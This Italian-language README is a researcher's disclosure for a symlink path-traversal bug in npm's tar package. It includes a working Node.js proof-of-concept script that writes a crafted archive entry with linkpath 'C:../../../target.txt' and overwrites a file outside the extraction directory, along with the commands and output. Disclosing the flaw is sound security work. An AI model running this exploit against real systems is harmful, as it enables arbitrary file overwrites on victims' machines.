
Proof of concept e descrizione tecnica per CVE-2026-31802, un path traversal tramite symlink in npm tar che consente la sovrascrittura arbitraria di file al di fuori della directory di estrazione.
Ricerca: Joshua van Rijswijk
Questo repository contiene la mia proof of concept e il write-up per CVE-2026-31802, una vulnerabilità ad alta gravità nel pacchetto npm tar (node-tar) che interessa le versioni <= 7.5.10.
Ho scoperto che tar può essere indotto a creare un symlink che punta all'esterno della directory di estrazione prevista utilizzando un target symlink relativo all'unità come C:../../../target.txt. In pratica, ciò rende possibile sfuggire a cwd durante l'estrazione e trasformare l'estrazione di archivi in una primitive di sovrascrittura arbitraria di file.
Il bug è raggiungibile attraverso il normale comportamento di estrazione con archivi tar controllati dall'attaccante.
Osservando come tar gestisce l'estrazione dei symlink, ho notato che alcuni valori linkpath venivano trattati in modo incoerente durante la sanitizzazione e la validazione. In particolare, percorsi relativi all'unità come:
C:../../../target.txt
venivano riscritti prima dell'uso, ma non validati nella stessa forma in cui venivano infine memorizzati e applicati.
Questa discrepanza è ciò che rende sfruttabile il bug.
La vulnerabilità deriva da come tar elabora valori linkpath di symlink appositamente costruiti durante l'estrazione.
Ad alto livello, la logica di estrazione rimuove il prefisso dell'unità da un percorso come:
C:../../../target.txt
e lo riscrive come:
../../../target.txt
Tuttavia, il controllo di sicurezza per l'attraversamento viene eseguito sul valore originale prima della rimozione del prefisso, mentre la creazione del symlink utilizza successivamente il valore riscritto.
Ciò significa che un archivio dannoso può superare la validazione utilizzando una forma del percorso, ma produrre comunque un symlink che attraversa l'esterno della directory di estrazione quando viene scritto su disco.
Un archivio dannoso può contenere una voce symlink come questa:
path: a/b/l
type: SymbolicLink
linkpath: C:../../../target.txt
Quando viene estratto con un utilizzo normale come:
tar.x({ cwd, file })
accade quanto segue:
linkpath.cwd.In altre parole, la logica di estrazione valida un valore e ne utilizza un altro. Questo divario crea la primitive di attraversamento.
Ho scritto la seguente PoC per dimostrare che un symlink estratto può essere fatto puntare all'esterno della radice di estrazione e poi utilizzato per sovrascrivere un file al di fuori della directory di lavoro.
La PoC:
../target.txta/b/llinkpath su C:../../../target.txta/b/lScript PoC:
const fs = require('fs')
const path = require('path')
const { Header, x } = require('tar')
const cwd = process.cwd()
const target = path.resolve(cwd, '..', 'target.txt')
const tarFile = path.join(cwd, 'poc.tar')
fs.writeFileSync(target, 'ORIGINAL\n')
const b = Buffer.alloc(1536)
new Header({
path: 'a/b/l',
type: 'SymbolicLink',
linkpath: 'C:../../../target.txt',
}).encode(b, 0)
fs.writeFileSync(tarFile, b)
x({ cwd, file: tarFile }).then(() => {
fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\n')
process.stdout.write(fs.readFileSync(target, 'utf8'))
})
npm install [email protected]
node poc.cjs && readlink a/b/l && ls -l a/b/l ../target.txt
PWNED
../../../target.txt
lrwxrwxrwx ... a/b/l -> ../../../target.txt
-rw-r--r-- ... ../target.txt
PWNED conferma che il file al di fuori della directory di estrazione è stato sovrascritto.
L'output di readlink e l'elenco dei file mostrano che il symlink estratto punta all'esterno della radice di estrazione prevista.
Questo problema consente a un attaccante di ottenere una primitive di sovrascrittura arbitraria di file al di fuori della directory di estrazione prevista, con i permessi del processo che esegue l'estrazione.
Gli scenari realistici includono:
In questi ambienti, un archivio appositamente costruito può causare scritture al di fuori della directory che l'applicazione si aspetta di controllare.
tar <= 7.5.10tar 7.5.11Questo problema è stato corretto in 7.5.11.
Gli utenti dovrebbero aggiornare immediatamente:
npm install tar@^7.5.11